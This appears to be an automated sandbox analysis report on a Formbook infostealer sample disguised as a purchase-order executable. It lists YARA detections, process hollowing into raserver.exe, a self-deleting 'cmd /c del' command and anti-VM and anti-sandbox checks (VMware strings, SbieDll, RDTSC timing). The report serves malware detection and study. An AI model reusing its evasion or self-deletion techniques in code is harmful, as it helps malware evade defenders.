Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BEB090
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C020A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA20A8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C91002
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CAE824
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF4120
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BDF900
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA22AE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C8FA2B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C903DA
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9DBD2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C0EBB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA2B28
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092C82E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092A2A6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_00918C1A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_00918C60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_00912D90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092B504
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092CE2B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_00912FB0

Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04BDB150 appears 45 times
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: String function: 018CB150 appears 45 times

Source: PO 367628usa.exe	Binary or memory string: OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.348314984.0000000004F80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.346748080.0000000002EB0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.346748080.0000000002EB0000.00000004.00000001.sdmp	Binary or memory string: l,\\StringFileInfo\\000004B0\\OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.348709437.0000000005180000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSimpleUI.dll( vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000000.00000002.348407890.00000000050A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs PO 367628usa.exe
Source: PO 367628usa.exe	Binary or memory string: OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000002.00000002.340682480.00000000000D2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe
Source: PO 367628usa.exe	Binary or memory string: OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000003.00000000.341450128.00000000003F2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe
Source: PO 367628usa.exe	Binary or memory string: OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000004.00000002.342956819.0000000000402000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe
Source: PO 367628usa.exe	Binary or memory string: OriginalFilename vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000005.00000002.390665694.00000000019BF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000005.00000002.389153954.0000000000E82000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe
Source: PO 367628usa.exe, 00000005.00000002.391187229.00000000034F9000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameraserver.exej% vs PO 367628usa.exe
Source: PO 367628usa.exe	Binary or memory string: OriginalFilenameCspAlgorithmType.exeF vs PO 367628usa.exe

Source: PO 367628usa.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: PO 367628usa.exe

Static PE information: Section: ^8+S|rz ZLIB complexity 1.00031485501

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/1@9/4

Source: C:\Users\user\Desktop\PO 367628usa.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 367628usa.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_01

Source: C:\Users\user\Desktop\PO 367628usa.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\PO 367628usa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: PO 367628usa.exe

Virustotal: Detection: 35%

Source: C:\Users\user\Desktop\PO 367628usa.exe

File read: C:\Users\user\Desktop\PO 367628usa.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO 367628usa.exe 'C:\Users\user\Desktop\PO 367628usa.exe'
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\raserver.exe C:\Windows\SysWOW64\raserver.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO 367628usa.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process created: C:\Users\user\Desktop\PO 367628usa.exe C:\Users\user\Desktop\PO 367628usa.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\PO 367628usa.exe'

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317D06E8-5F24-433D-BDF7-79CE68D8ABC2}\InProcServer32

Source: C:\Users\user\Desktop\PO 367628usa.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: PO 367628usa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO 367628usa.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000006.00000000.372619692.000000000DC20000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO 367628usa.exe, 00000005.00000002.390342174.00000000018A0000.00000040.00000001.sdmp, raserver.exe, 00000009.00000002.590539014.0000000004BB0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PO 367628usa.exe, raserver.exe
Source:	Binary string: RAServer.pdb source: PO 367628usa.exe, 00000005.00000002.391160036.00000000034E0000.00000040.00000001.sdmp
Source:	Binary string: RAServer.pdbGCTL source: PO 367628usa.exe, 00000005.00000002.391160036.00000000034E0000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000006.00000000.372619692.000000000DC20000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe

Unpacked PE file: 0.2.PO 367628usa.exe.4b0000.0.unpack ^8+S|rz:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;

Source: PO 367628usa.exe	Static PE information: section name: ^8+S\|rz
Source: PO 367628usa.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD0B91 pushfd ; iretd
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD436F push edx; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD4365 push edx; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EA96E push ebx; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EA964 push ebx; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E3390 push 83085F8Bh; ret
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C6732C push E8C84D8Bh; iretd
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5632 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D304A push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5668 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5A6A push ss; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5680 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5BA2 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5BB4 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D53B6 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 2_2_000D5BC6 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5632 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5A6A push ss; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5668 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F304A push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F53B6 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5BB4 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5BA2 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5680 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 3_2_003F5BC6 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_0040304A push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_00405668 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_00405A6A push ss; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_00405632 push cs; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_00405BC6 push ds; retf
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4_2_00405680 push cs; retf

Source: initial sample

Static PE information: section name: ^8+S|rz entropy: 7.99978876077

Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 367628usa.exe PID: 6596, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\PO 367628usa.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 00000000009185E4 second address: 00000000009185EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\raserver.exe	RDTSC instruction interceptor: First address: 000000000091897E second address: 0000000000918984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\PO 367628usa.exe

Code function: 5_2_004088B0 rdtsc

Source: C:\Users\user\Desktop\PO 367628usa.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\PO 367628usa.exe TID: 6600	Thread sleep time: -101657s >= -30000s
Source: C:\Users\user\Desktop\PO 367628usa.exe TID: 6620	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO 367628usa.exe	Thread delayed: delay time: 101657
Source: C:\Users\user\Desktop\PO 367628usa.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000006.00000000.371026456.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000006.00000000.371059787.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000006.00000000.366615816.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.367358532.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.371235181.000000000851A000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: raserver.exe, 00000009.00000002.589860170.0000000002F07000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.366615816.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
